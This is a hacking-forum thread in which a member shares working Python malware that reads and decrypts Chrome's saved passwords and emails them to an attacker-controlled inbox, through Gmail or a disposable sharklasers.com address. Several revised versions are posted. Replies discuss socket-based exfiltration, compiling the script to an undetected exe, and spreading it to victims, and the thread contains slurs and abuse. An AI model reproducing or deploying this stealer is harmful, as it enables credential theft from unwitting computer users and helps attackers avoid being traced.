

Forum:[Hack Forums](#)

Thread: [@beef Chrome Password Stealer Version 2.0](#)

@beef - April 16, 2016, 8:27 am

DONT ADD - BEEFHF. ON SKYPE HE IS A FAKE

I've had a lot of requests to update this because it stopped working. Here it is.

If you're going to use this then please take the time to post below. This is Free. This took a while to do initially, saying thank you or something below would be nice.

Add me on skype @ beefhf

btw you need to get the wincrypt32 module. pm me on skype for help.

Code:

PHP Code

```
<?php
```

```
# By @beef HF
```

```
# https://hackforums.net/member.php?action=profile&uid=2494987
```

```
import os
import sqlite3
import win32crypt
import sys
import mimetypes
import smtplib
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
```

```
# Create File
```

```
f = open('passwords.txt','w')
```

```
# Find path
```

```
try:
```

```
    path = sys.argv[1]
```

```
except IndexError:
```

```
    for w in os.walk(os.getenv('USERPROFILE')):
```

```
        if 'Chrome' in w[1]:
```

```
            path = str(w[0]) + '\Chrome\User Data\Default\Login Data'
```

```

# Connect to the Database
try:
    print '[+] Opening ' + path
    conn = sqlite3.connect(path)
    cursor = conn.cursor()
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)

# Get the results
try:
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)

data = cursor.fetchall()

if len(data) > 0:
    for result in data:
        # Decrypt the Password
        try:
            password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
        except Exception, e:
            print '[-] %s' % (e)
            pass
        if password:
            f.write("[+] URL: %s\n Username: %s\n Password: %s\n" % (result[0], result[1], password))
    else:
        print '[-] No results returned from query'
        sys.exit(0)

# Your Email Account

emailfrom = "youremail"
emailto = "youremail"
fileToSend = "passwords.txt"
user = "youremail"
password = "yourpassword"

# Start Emailing
msg = MIMEMultipart()
msg['From'] = emailfrom
msg['To'] = emailto
msg['Subject'] = 'Password List'
filename = "passwords.txt"
f = file(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(attachment)

smtp = smtplib.SMTP('smtp.gmail.com:587')

```

```
smtp.starttls()
smtp.login(user,password)
smtp.sendmail(emailfrom, emailto, msg.as_string())
smtp.close()
```

```
print('[+] Successfully Completed')
```

EDIT -

Instead of using regular gmail. You can use <https://www.sharklasers.com> where you can spoof the email and it's temporary too.

Basically you go to the website and automatically you get an account made for you.

Say your account is called 3p3bqw+56vc87x20vywz1udear1w@sharklasers.com then in my code where I've put the

#THE EMAIL TO CHANGE FROM <https://www.sharklasers.com/inbox> or the "emailto" variable. You input your email into here.

for example:

```
emailto = "3p3bqw+56vc87x20vywz1udear1w@sharklasers.com"
```

now that's it lol. legit. just run it. the passwords will come up in your inbox. the inbox won't clear until you set it to (i think). Even if you go off the website i think it will still be there when you come back next time.

Here's the new code for this:

PHP Code

```
<?php
import os
import sqlite3
import win32crypt
import sys
import mimetypes
import smtplib
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import win32api
import win32file
```

Create File

```
f = open('passwords.txt','w')
```

Find path

```
try:
    path = sys.argv[1]
except IndexError:
    for driver in [x for x in win32api.GetLogicalDriveStrings().split('\x00') \
        if win32file.GetDriveType(x) == win32file.DRIVE_FIXED]:
        for w in os.walk(driver):
            if 'Chrome' in w[1]:
                path = str(w[0]) + '\Chrome\User Data\Default>Login Data'
```

Connect to the Database

```
try:
    print '[+] Opening ' + path
    conn = sqlite3.connect(path)
    cursor = conn.cursor()
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)
```

Get the results

```
try:
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)
```

data = cursor.fetchall()

```
if len(data) > 0:
    for result in data:
        # Decrypt the Password
        try:
            password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
        except Exception, e:
            print '[-] %s' % (e)
            pass
        if password:
            f.write("[+] URL: %s\n Username: %s\n Password: %s\n" % (result[0], result[1], password))
```

```
else:
    print '[-] No results returned from query'
    sys.exit(0)
```

Your Email Account

emailfrom = "ChromePassStealerByBeef@Getfucked.ok"

```
#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox
emailto = "example@sharklasers.com"
```

```
fileToSend = "passwords.txt"
```

```
# Start Emailing
```

```
msg = MIMEMultipart()
```

```
msg['From'] = emailfrom
```

```
msg['To'] = emailto
```

```
msg['Subject'] = 'Password List'
```

```
filename = "passwords.txt"
```

```
f = file(filename)
```

```
attachment = MIMEText(f.read())
```

```
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
```

```
msg.attach(attachment)
```

```
smtp = smtplib.SMTP('mail.sharklasers.com:25')
```

```
smtp.starttls()
```

```
smtp.sendmail(emailfrom, emailto, msg.as_string())
```

```
smtp.close()
```

```
print('[+] Successfully Completed')
```

h0lyl337 - April 16, 2016, 9:37 am

hey thx for the share ^_^

@beef - April 16, 2016, 11:26 am

(Apr 16, 2016 09:37 AM)h0lyl337 Wrote: [\[CITE\]](#) hey thx for the share ^_^
np, this is why I give things for free :)

Aleksas - April 17, 2016, 12:29 pm

I would suggest replacing email (because of the smtp limit, 500 I believe in gmail) with sockets, so it establish connection like an backdoor or rat. That way it could just send information from client (victim) to the server (mastermind) and it could save it to the text file. Give me an PM if you need some help.

@beef - April 17, 2016, 12:33 pm

(Apr 17, 2016 12:29 PM)Aleksas Wrote: [\[CITE\]](#) I would suggest replacing email (because of the smtp limit, 500 I believe in gmail) with sockets, so it establish connection like an backdoor or rat. That way it could just send information from client (victim) to the server (mastermind) and it could save it to the text file. Give me an PM if you need some help.

You clearly don't understand the code do you? What if you don't have/want any server stuff and want an easy solution to this. That's the whole point of the program. You should really use your brain next time lol.

ClassyBear - April 17, 2016, 12:51 pm

Awesome, this could come in handy!

@beef - April 17, 2016, 12:51 pm

(Apr 17, 2016 12:51 PM)ClassyBear Wrote: [\[CITE\]](#) Awesome, this could come in handy!
You're welcome. Enjoy.

Aleksas - April 17, 2016, 1:06 pm

(Apr 17, 2016 12:33 PM)@beef Wrote: [\[CITE\]](#) You clearly don't understand the code do you? What if you don't have/want any server stuff and want an easy solution to this. That's the whole point of the

program. You should really use your brain next time lol.

Don't be offensive, I didn't mean to "command" what to do, just suggest. And also for another suggestion you can have "easy" and the "server/client" based program.

@beef - April 17, 2016, 1:08 pm

(Apr 17, 2016 01:06 PM)Aleksas Wrote: [\[CITE\]](#) Don't be offensive, I didn't mean to "command" what to do, just suggest. And also for another suggestion you can have "easy" and the "server/client" based program.

You still don't understand. If you have email, you can see it everywhere. On your phone everywhere. Why don't you add the socket stuff to the code then if you want it so much. God

Aleksas - April 17, 2016, 1:17 pm

(Apr 17, 2016 01:08 PM)@beef Wrote: [\[CITE\]](#) You still don't understand. If you have email, you can see it everywhere. On your phone everywhere. Why don't you add the socket stuff to the code then if you want it so much. God

I understand 100%, email is way easier, but it has cons like my suggestion, but enough of the limitless arguments, peace ?

@beef - April 17, 2016, 1:20 pm

(Apr 17, 2016 01:17 PM)Aleksas Wrote: [\[CITE\]](#) I understand 100%, email is way easier, but it has cons like my suggestion, but enough of the limitless arguments, peace ?

There are no benefits and I'm pretty sure I'm not going to get 500 people opening the program everyday and causing an email to be sent. k stop talking about stuff you know nothing about

+TOAST - April 18, 2016, 9:54 pm

(Apr 17, 2016 01:20 PM)@beef Wrote: [\[CITE\]](#) There are no benefits and I'm pretty sure I'm not going to get 500 people opening the program everyday and causing an email to be sent. k stop talking about stuff you know nothing about

Dude, there is an obvious benefit. For one thing, your user can simply view the python script and now he knows your gmail details... I'll provide a socket version in a couple minutes if people want it.

EDIT: Another idea is encrypt the pass list using AES and upload it to pastebin. Then it's not your server, or your email that is in the details of the program.

@beef - April 19, 2016, 5:53 am

(Apr 18, 2016 09:54 PM)+TOAST Wrote: [\[CITE\]](#) Dude, there is an obvious benefit. For one thing, your user can simply view the python script and now he knows your gmail details... I'll provide a socket version in a couple minutes if people want it.

EDIT: Another idea is encrypt the pass list using AES and upload it to pastebin. Then it's not your server, or your email that is in the details of the program.

What do you mean they can look at the code? LOL you can compile it to a .exe?? What. Why would you need to encrypt the password list? even if you did upload it to paste bin. You would still need to email yourself the link. You should probably think about it before making a post next time bro.

NormieFag - April 20, 2016, 2:17 am

(Apr 17, 2016 12:33 PM)@beef Wrote: [\[CITE\]](#) You clearly don't understand the code do you? What if you don't have/want any server stuff and want an easy solution to this. That's the whole point of the program. You should really use your brain next time lol.

??You should use your's. You have a password stealer written in Python that, as a pre-requisite, requires the original user to input their smtp information.

????? Sockets would actually be much more secure. Could use any number of the free trial vps services, or even fucking Koding.

tl;dr sockets are better you're an arrogant coon.

@beef - April 20, 2016, 5:37 am

(Apr 20, 2016 02:17 AM)NormieFag Wrote: [\[CITE\]](#) ??You should use your's. You have a password stealer written in Python that, as a pre-requisite, requires the original user to input their smtp information.

????? Sockets would actually be much more secure. Could use any number of the free trial vps services, or even fucking Koding.

tl;dr sockets are better you're an arrogant coon.

You're a fucking retard. You do realise You can make a separate fucking email to put into my code. Why would you use your main email, fucking downy. A trial vps? You don't even need a vps for the socket thing. Why the fuck do you make a post when you don't even understand the code?

+TOAST - April 20, 2016, 9:33 am

(Apr 20, 2016 05:37 AM)@beef Wrote: [\[CITE\]](#) You're a fucking retard. You do realise You can make a separate fucking email to put into my code. Why would you use your main email, fucking downy. A trial vps? You don't even need a vps for the socket thing. Why the fuck do you make a post when you don't even understand the code?

You are one of the most ignorant users I have ever encountered on this forum. Even if you had "compiled a python script to an exe ?", the problems still stay the same. User will just sniff traffic to see what information they sent to you, and where its going. They will find both the SMTP server and login info. Also, by making a python script of all things into a win32 executable, you are removing the fact that python is cross-platform compatible. Before you start toting your guns off (?) thinking you are the smartest person on here, please realize that there are much more experienced users here offering their advice for free, and you should be grateful for it.

@beef - April 20, 2016, 9:42 am

(Apr 20, 2016 09:33 AM)+TOAST Wrote: [\[CITE\]](#) You are one of the most ignorant users I have ever encountered on this forum. Even if you had "compiled a python script to an exe ?", the problems still stay the same. User will just sniff traffic to see what information they sent to you, and where its going. They will find both the SMTP server and login info. Also, by making a python script of all things into a win32 executable, you are removing the fact that python is cross-platform compatible. Before you start toting your guns off (?) thinking you are the smartest person on here, please realize that there are much more experienced users here offering their advice for free, and you should be grateful for it.

Yeah, well done. That's why you use a separate email. What's so hard to understand about that. I'm also pretty sure if you opened the file in the first place then you wouldn't know how to do any stuff like that. Once again. Think about what you're saying before you make a post.

This code is free. Holy shit, stop complaining?

+TOAST - April 20, 2016, 10:22 am

You have to realize if your program gets into the wrong hands, things could get very bad for you. For example, if you used a gmail, the user could potentially log in and check to see the original IP you signed up for it on. If that isn't a big deal because you used a VPN, thats fine. The only problem is you may need to create a new email for each separate user. If one person gets in, they can delete all of the other user's information, OR even copy it for themselves to hack and delete it before you can find it.

@beef - April 20, 2016, 10:26 am

(Apr 20, 2016 10:22 AM)+TOAST Wrote: [\[CITE\]](#) You have to realize if your program gets into the wrong hands, things could get very bad for you. For example, if you used a gmail, the user could potentially log in and check to see the original IP you signed up for it on. If that isn't a big deal because you used a VPN, thats fine. The only problem is you may need to create a new email for each separate user. If one person gets in, they can delete all of the other user's information, OR even copy it for themselves to hack and delete it before you can find it.

Again, think about what you're saying. Don't use Gmail then? Lmao? Use a more secure email service. I've only used this program once. I didn't want to pay for it so I made it. Stop crying. It's free and it works. Everything you say about it is irrelevant. If you don't like the smtp so much then learn to code and change it.

+TOAST - April 20, 2016, 10:33 am

"learn to code"? Dude are you serious? You don't know anything about me. I might provide an HQ system for this later. Unfortunately, you are putting a lot of users here in danger without giving them the relevant warnings for the usage of this.

@beef - April 20, 2016, 10:36 am

(Apr 20, 2016 10:33 AM)+TOAST Wrote: [\[CITE\]](#) "learn to code"? Dude are you serious? You don't know anything about me. I might provide an HQ system for this later. Unfortunately, you are putting a lot of users here in danger without giving them the relevant warnings for the usage of this.

Putting people in danger lmao? How? It's free code and it works perfectly. There are no dangers from using this. Seriously, stop being a whiny bitch and move on. If you hate the smtp so much then learn to code and remake it. Do that and I'll give you credit.

NormieFag - April 20, 2016, 7:59 pm

Holy shit you're fucking aids. "Use a separate email", yeah, no fucking shit. However it's much more secure to not use SMTP at all. You failing to see that does nothing but exemplify your ignorance.

Mr. Robot - April 20, 2016, 8:05 pm

Is there any way to get this to run from a sending email with the use of temporary emails.

<https://temp-mail.org/en/>

Like use that site to send the email without a password/IP being logged and send the results to any email you want.

NormieFag - April 20, 2016, 8:26 pm

(Apr 20, 2016 08:05 PM)Mr. Robot Wrote: [\[CITE\]](#) Is there any way to get this to run from a sending email with the use of temporary emails.

Like use that site to send the email without a password/IP being logged and send the results to any email you want.

Technically, yes, but you'd need to find the right temp mail service.

Either way, the idea of a password stealer written in py is fucking autistic.

@beef - April 20, 2016, 10:46 pm

(Apr 20, 2016 08:26 PM)NormieFag Wrote: [\[CITE\]](#) Technically, yes, but you'd need to find the right temp mail service.

Either way, the idea of a password stealer written in py is fucking autistic.
It's not lmao because when you compile it then its FUD. Stop fucking complaining about it having smtp? Change it if it makes you that upset.

(Apr 20, 2016 08:05 PM)Mr. Robot Wrote: [\[CITE\]](#) Is there any way to get this to run from a sending email with the use of temporary emails.

<https://temp-mail.org/en/>

Like use that site to send the email without a password/IP being logged and send the results to any email you want.

Yeah, ofc. You just need the mail server ect.

Mr. Robot - April 20, 2016, 10:47 pm

(Apr 20, 2016 10:46 PM)@beef Wrote: [\[CITE\]](#) It's not lmao because when you compile it then its FUD.

Would you be interested in finding a temp email provider that would work with it? I think overall it would save these issues and worries others are having and would be an interesting experience/learning curve for even yourself.

@beef - April 20, 2016, 10:54 pm

(Apr 20, 2016 10:47 PM)Mr. Robot Wrote: [\[CITE\]](#) Would you be interested in finding a temp email provider that would work with it? I think overall it would save these issues and worries others are having and would be an interesting experience/learning curve for even yourself.

Sure, I didn't even know anything about temp emails. I'll try when I get back from school/have time.

Judicious? - April 20, 2016, 10:58 pm

My god dude. This guy shares some fucking code and you half wit fags gotta come up in here and give him shit over email details and bullshit. This is the problem with this fucking forum. Too many half wit cunts who can't appreciate someone when they share something. This isn't a popularity contest you fuck ups. Move on.

@beef - April 20, 2016, 11:50 pm

(Apr 20, 2016 10:58 PM)Judicious? Wrote: [\[CITE\]](#) My god dude. This guy shares some fucking code and you half wit fags gotta come up in here and give him shit over email details and bullshit. This is the problem with this fucking forum. Too many half wit cunts who can't appreciate someone when they share something. This isn't a popularity contest you fuck ups. Move on.

Finally, someone fucking understands. This is free code? Use it or change it to how you like it. don't fucking complain. triggered af

NormieFag - April 21, 2016, 12:20 am

(Apr 20, 2016 10:58 PM)Judicious? Wrote: [\[CITE\]](#) My god dude. This guy shares some fucking code and you half wit fags gotta come up in here and give him shit over email details and bullshit. This is the problem with this fucking forum. Too many half wit cunts who can't appreciate someone when they share something. This isn't a popularity contest you fuck ups. Move on.

And you are? What do you do? You're clearly not a programmer or you'd know that this "share" is fucking retarded.

?dyss?us - April 21, 2016, 12:32 am

What's this code used for need to know

@beef - April 21, 2016, 5:26 am

(Apr 21, 2016 12:32 AM)?dyss?us Wrote: [\[CITE\]](#) What's this code used for need to know

It's in the title... It steals the passwords from chrome. Decrypts it and emails it as a .txt to you.

(Apr 21, 2016 12:20 AM)NormieFag Wrote: [\[CITE\]](#) And you are? What do you do? You're clearly not a programmer or you'd know that this "share" is fucking retarded.

Please. Stop talking shit. You joined the forum like yesterday. Stop being a whiny bitch and move on.

M4554CR3 - April 21, 2016, 5:41 am

Nice share, i will surely try it out someday :)'

@beef - April 21, 2016, 5:50 am

(Apr 21, 2016 05:41 AM)M4554CR3 Wrote: [\[CITE\]](#) Nice share, i will surely try it out someday :)' PM me if you need any help with it or add me on Skype.

Judicious? - April 21, 2016, 8:49 am

(Apr 21, 2016 12:20 AM)NormieFag Wrote: [\[CITE\]](#) And you are? What do you do? You're clearly not a programmer or you'd know that this "share" is fucking retarded.

I am a coder. At the least he's showing you how to open a db and decrypt the passwords. Just because his method for sending the credentials isn't something people agree with doesn't mean you need to come to his thread and act like you know everything. You fucking morons. ?

?dyss?us - April 21, 2016, 12:38 pm

(Apr 21, 2016 05:26 AM)@beef Wrote: [\[CITE\]](#) It's in the title... It steals the passwords from chrome. Decrypts it and emails it as a .txt to you.Okay that's nice but how can get the target.

@beef - April 21, 2016, 1:10 pm

(Apr 21, 2016 12:38 PM)?dyss?us Wrote: [\[CITE\]](#) Okay that's nice but how can get the target. You spread it and when they open it, you get the passwords.

?dyss?us - April 21, 2016, 1:16 pm

(Apr 21, 2016 01:10 PM)@beef Wrote: [\[CITE\]](#) You spread it and when they open it, you get the passwords.Okay what is the extension of the file.

@beef - April 23, 2016, 1:25 pm

Hey,

I figured a way to do this with temp mail

<https://www.sharklasers.com>

and you can even spoof the email ect.

it's a lot easier to. Going to update the main thread on how. Thanks for the idea. I've learnt something new.

Mr. Robot - April 24, 2016, 10:00 am

(Apr 23, 2016 01:25 PM)@beef Wrote: [\[CITE\]](#) Hey,

I figured a way to do this with temp mail

<https://www.sharklasers.com>

and you can even spoof the email ect.

it's a lot easier to. Going to update the main thread on how. Thanks for the idea. I've learnt

something new.

Looks nice my dude, I was vacation banned for 3 days so didn't see it till now but looks like you found something new and it turned out better than it was before -

@beef - April 24, 2016, 10:01 am

(Apr 24, 2016 10:00 AM)Mr. Robot Wrote: [\[CITE\]](#) Looks nice my dude, I was vacation banned for 3 days so didn't see it till now but looks like you found something new and it turned out better than it was before -

Yeah man. Thanks for the advice.

john12 - April 30, 2016, 4:38 pm

Nice code dude, I found it useful for learning python

@beef - April 30, 2016, 4:48 pm

(Apr 30, 2016 04:38 PM)john12 Wrote: [\[CITE\]](#) Nice code dude, I found it useful for learning python
You're welcome bro.

tux1 - May 5, 2016, 10:21 am

Thanks for sharing this, always good to see new code on the forum.
5 stars.

@beef - May 5, 2016, 10:25 am

(May 5, 2016 10:21 AM)tux1 Wrote: [\[CITE\]](#) Thanks for sharing this, always good to see new code on the forum.

5 stars.

Glad to help :)

SIM-1866423 - May 5, 2016, 11:59 am

os.getenv('USERPROFILE') that code piece always return you "C:\\Bla bla" what if i install chrome somewhere else like "D:\\\" .. ? :)

@beef - May 5, 2016, 12:01 pm

(May 5, 2016 11:59 AM)b3mb4m Wrote: [\[CITE\]](#) os.getenv('USERPROFILE') that code piece always return you "C:\\Bla bla" what if i install chrome somewhere else like "D:\\\" .. ? :)

That's actually true lol never thought of that but most people will leave it default. You can add it into the code if you want :)

SIM-1866423 - May 5, 2016, 12:25 pm

PHP Code

```
<?php
import os
import sqlite3
import win32crypt
import sys
import mimetypes
import smtplib
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
```

```

import win32api
import win32file

# Create File

f = open('passwords.txt','w')

# Find path

try:
    path = sys.argv[1]
except IndexError:
    for driver in [x for x in win32api.GetLogicalDriveStrings().split('\x00') \
        if win32file.GetDriveType(x) == win32file.DRIVE_FIXED]:
        for w in os.walk(driver):
            if 'Chrome' in w[1]:
                path = str(w[0]) + '\Chrome\User Data\Default>Login Data'

# Connect to the Database
try:
    print '[+] Opening ' + path
    conn = sqlite3.connect(path)
    cursor = conn.cursor()
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)

# Get the results
try:
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)

data = cursor.fetchall()

if len(data) > 0:
    for result in data:
        # Decrypt the Password
        try:
            password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
        except Exception, e:
            print '[-] %s' % (e)
            pass
        if password:
            f.write("[+] URL: %s\n Username: %s\n Password: %s\n" % (result[0], result[1], password))

else:
    print '[-] No results returned from query'
    sys.exit(0)

# Your Email Account

```

```
emailfrom = "ChromePassStealerByBeef@Getfucked.ok"
```

```
#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox
```

```
emailto = "example@sharklasers.com"
```

```
fileToSend = "passwords.txt"
```

```
# Start Emailing
```

```
msg = MIMEMultipart()
```

```
msg['From'] = emailfrom
```

```
msg['To'] = emailto
```

```
msg['Subject'] = 'Password List'
```

```
filename = "passwords.txt"
```

```
f = file(filename)
```

```
attachment = MIMEText(f.read())
```

```
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
```

```
msg.attach(attachment)
```

```
smtp = smtplib.SMTP('mail.sharklasers.com:25')
```

```
smtp.starttls()
```

```
smtp.sendmail(emailfrom, emailto, msg.as_string())
```

```
smtp.close()
```

```
print('[+] Successfully Completed')
```

```
:)
```

hamburgerman - May 5, 2016, 12:27 pm

Looks very nice. Thanks for making this!! You're awesome.

@beef - May 5, 2016, 12:59 pm

(May 5, 2016 12:25 PM)b3mb4m Wrote: [CITE](#) PHP Code

```
<?php
```

```
import os
```

```
import sqlite3
```

```
import win32crypt
```

```
import sys
```

```
import mimetypes
```

```
import smtplib
```

```
from email.mime.multipart import MIMEMultipart
```

```
from email import encoders
```

```
from email.message import Message
```

```
from email.mime.audio import MIMEAudio
```

```
from email.mime.base import MIMEBase
```

```
from email.mime.image import MIMEImage
```

```
from email.mime.text import MIMEText
```

```
import win32api
```

```
import win32file
```

```
# Create File
```

```

f = open('passwords.txt','w')

# Find path

try:
    path = sys.argv[1]
except IndexError:
    for driver in [x for x in win32api.GetLogicalDriveStrings().split('\x00') \
        if win32file.GetDriveType(x) == win32file.DRIVE_FIXED]:
        for w in os.walk(driver):
            if 'Chrome' in w[1]:
                path = str(w[0]) + '\Chrome\User Data\Default\Login Data'

# Connect to the Database
try:
    print '[+] Opening ' + path
    conn = sqlite3.connect(path)
    cursor = conn.cursor()
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)

# Get the results
try:
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
    print '[-] %s' % (e)
    sys.exit(1)

data = cursor.fetchall()

if len(data) > 0:
    for result in data:
        # Decrypt the Password
        try:
            password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
        except Exception, e:
            print '[-] %s' % (e)
            pass
        if password:
            f.write("[+] URL: %s\n Username: %s\n Password: %s\n" % (result[0], result[1], password))

else:
    print '[-] No results returned from query'
    sys.exit(0)

# Your Email Account

emailfrom = "ChromePassStealerByBeef@Getfucked.ok"

#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox
emailto = "example@sharklasers.com"

```

```
fileToSend = "passwords.txt"
```

```
# Start Emailing
```

```
msg = MIMEMultipart()
```

```
msg['From'] = emailfrom
```

```
msg['To'] = emailto
```

```
msg['Subject'] = 'Password List'
```

```
filename = "passwords.txt"
```

```
f = file(filename)
```

```
attachment = MIMEText(f.read())
```

```
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
```

```
msg.attach(attachment)
```

```
smtp = smtplib.SMTP('mail.sharklasers.com:25')
```

```
smtp.starttls()
```

```
smtp.sendmail(emailfrom, emailto, msg.as_string())
```

```
smtp.close()
```

```
print('[+] Successfully Completed')
```

```
:)
```

```
nice :) ill change it with the main code.
```

(May 5, 2016 12:27 PM)hamburgerman Wrote: [\[CITE\]](#) Looks very nice. Thanks for making this!!
You're awesome.

:))) np man this is why I release free code.

TheKojak - May 7, 2016, 6:48 am

I like the code; it's not bad at all :)

However, having said that, I don't like the heavy use of the pywin32 module, especially for such trivial tasks which could be easily created in pure ctypes. Using win32crypt, win32api, and win32file adds ~300kb of dependencies.

Here is some code I quickly came up with for the cryptography part:

PHP Code

```
<?php
```

```
import ctypes
```

```
from ctypes import windll
```

```
crypt32 = ctypes.windll.crypt32
```

```
kernel32 = ctypes.windll.kernel32
```

```
class DATA_BLOB(ctypes.Structure):
```

```
    _fields_ = [('cbData', ctypes.DWORD),  
                ('pbData', ctypes.POINTER(ctypes.BYTE))]
```

```
class CRYPTPROTECT_PROMPTSTRUCT(ctypes.Structure):
```

```
    _fields_ = [('cbSize', ctypes.DWORD),  
                ('dwPromptFlags', ctypes.DWORD),  
                ('hwndApp', ctypes.HWND),  
                ('szPrompt', ctypes.POINTER(ctypes.WCHAR))]
```

```

_CryptProtectData = ctypes.WINFUNCTYPE(
    wintypes.BOOL,
    ctypes.POINTER(DATA_BLOB),
    ctypes.POINTER(wintypes.WCHAR),
    ctypes.POINTER(DATA_BLOB),
    ctypes.c_void_p,
    ctypes.POINTER(CRYPTPROTECT_PROMPTSTRUCT),
    wintypes.DWORD,
    ctypes.POINTER(DATA_BLOB))(('CryptProtectData', crypt32))

_CryptUnprotectData = ctypes.WINFUNCTYPE(
    wintypes.BOOL,
    ctypes.POINTER(DATA_BLOB),
    ctypes.POINTER(wintypes.WCHAR),
    ctypes.POINTER(DATA_BLOB),
    ctypes.c_void_p,
    ctypes.POINTER(CRYPTPROTECT_PROMPTSTRUCT),
    wintypes.DWORD,
    ctypes.POINTER(DATA_BLOB))(('CryptUnprotectData', crypt32))

def CryptProtectData(data, description=u'cryptprotectdata', entropy=None, flags=0x01):
    blob_in = DATA_BLOB(cbData=len(data), pbData=ctypes.cast(ctypes.c_char_p(data), ctypes.
    POINTER(wintypes.BYTE)))
    blob_out = DATA_BLOB()

    if not _CryptProtectData(ctypes.byref(blob_in), description, entropy, None, None, flags, ctypes.
    byref(blob_out)):
        return None

    encrypted = ctypes.create_string_buffer(blob_out.cbData)
    ctypes.memmove(encrypted, blob_out.pbData, blob_out.cbData)
    kernel32.LocalFree(blob_out.pbData)
    return encrypted.raw

def CryptUnprotectData(data, entropy=None, flags=0x01):
    blob_in = DATA_BLOB(cbData=len(data), pbData=ctypes.cast(ctypes.c_char_p(data), ctypes.
    POINTER(wintypes.BYTE)))
    blob_out = DATA_BLOB()

    if not _CryptUnprotectData(ctypes.byref(blob_in), None, entropy, None, None, flags, ctypes.byref(
    blob_out)):
        return None

    decrypted = ctypes.create_string_buffer(blob_out.cbData)
    ctypes.memmove(decrypted, blob_out.pbData, blob_out.cbData)
    kernel32.LocalFree(blob_out.pbData)
    return decrypted.raw

```

Use this instead of win32crypt and simply change this line:

Code password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] To this:

Code password = CryptUnprotectData(result[2], flags=0x00)[1]

I didn't test this but it should work. Note that your use of win32api and win32file could also be easily replaced with pure ctypes, removing the dependencies.

Other than that, good job!

@beef - May 7, 2016, 12:25 pm

Yeah, that doesn't work bro. I'm sure its possible but not working. PM me on Skype.

TheKojak - May 8, 2016, 3:23 am

(May 7, 2016 12:25 PM)@beef Wrote: [\[CITE\]](#) Yeah, that doesn't work bro. I'm sure its possible but not working. PM me on Skype.

Hmm. It should work since I'm still using the same windows API.

What is the problem? Are you getting any errors?

@beef - May 8, 2016, 4:07 am

(May 8, 2016 03:23 AM)TheKojak Wrote: [\[CITE\]](#) Hmm. It should work since I'm still using the same windows API.

What is the problem? Are you getting any errors?

Yeah. It said soemtjing about "buffer instance" I didn't have any time to edit the code bro.

supaturk - May 10, 2016, 6:28 am

bro i need help i just added u on skype

Web_Development - May 10, 2016, 6:33 am

Posting to maybe come back later...thanks for share btw))

Xutdes. - May 10, 2016, 7:54 am

Just wondering, how would you go about infecting people with this? I mean, whoever has python installed on their machine is evidently someone who has at least some technical experience. And judging by the fact the python is an interpreted language, how would you spread this without having people know all your email or smtp server details?

I'm coming off here respectfully. I'm just wondering.

@beef - May 10, 2016, 12:03 pm

(May 10, 2016 07:54 AM)Tenebris Wrote: [\[CITE\]](#) Just wondering, how would you go about infecting people with this? I mean, whoever has python installed on their machine is evidently someone who has at least some technical experience. And judging by the fact the python is an interpreted language, how would you spread this without having people know all your email or smtp server details?

I'm coming off here respectfully. I'm just wondering.

Obviously not. You compile the script..

(May 10, 2016 06:28 AM)supaturk Wrote: [\[CITE\]](#) bro i need help i just added u on skype
Accepted.

TheKojak - May 11, 2016, 9:53 am

(May 8, 2016 04:07 AM)@beef Wrote: [\[CITE\]](#) Yeah. It said soemtjing about "buffer instance" I didn't have any time to edit the code bro.

I don't have chrome, so I can't really help unless you show me the full code you used and error message...

@beef - May 11, 2016, 10:09 am

(May 11, 2016 09:53 AM)TheKojak Wrote: [\[CITE\]](#) I don't have chrome, so I can't really help unless you show me the full code you used and error message...

You need to add me on Skype.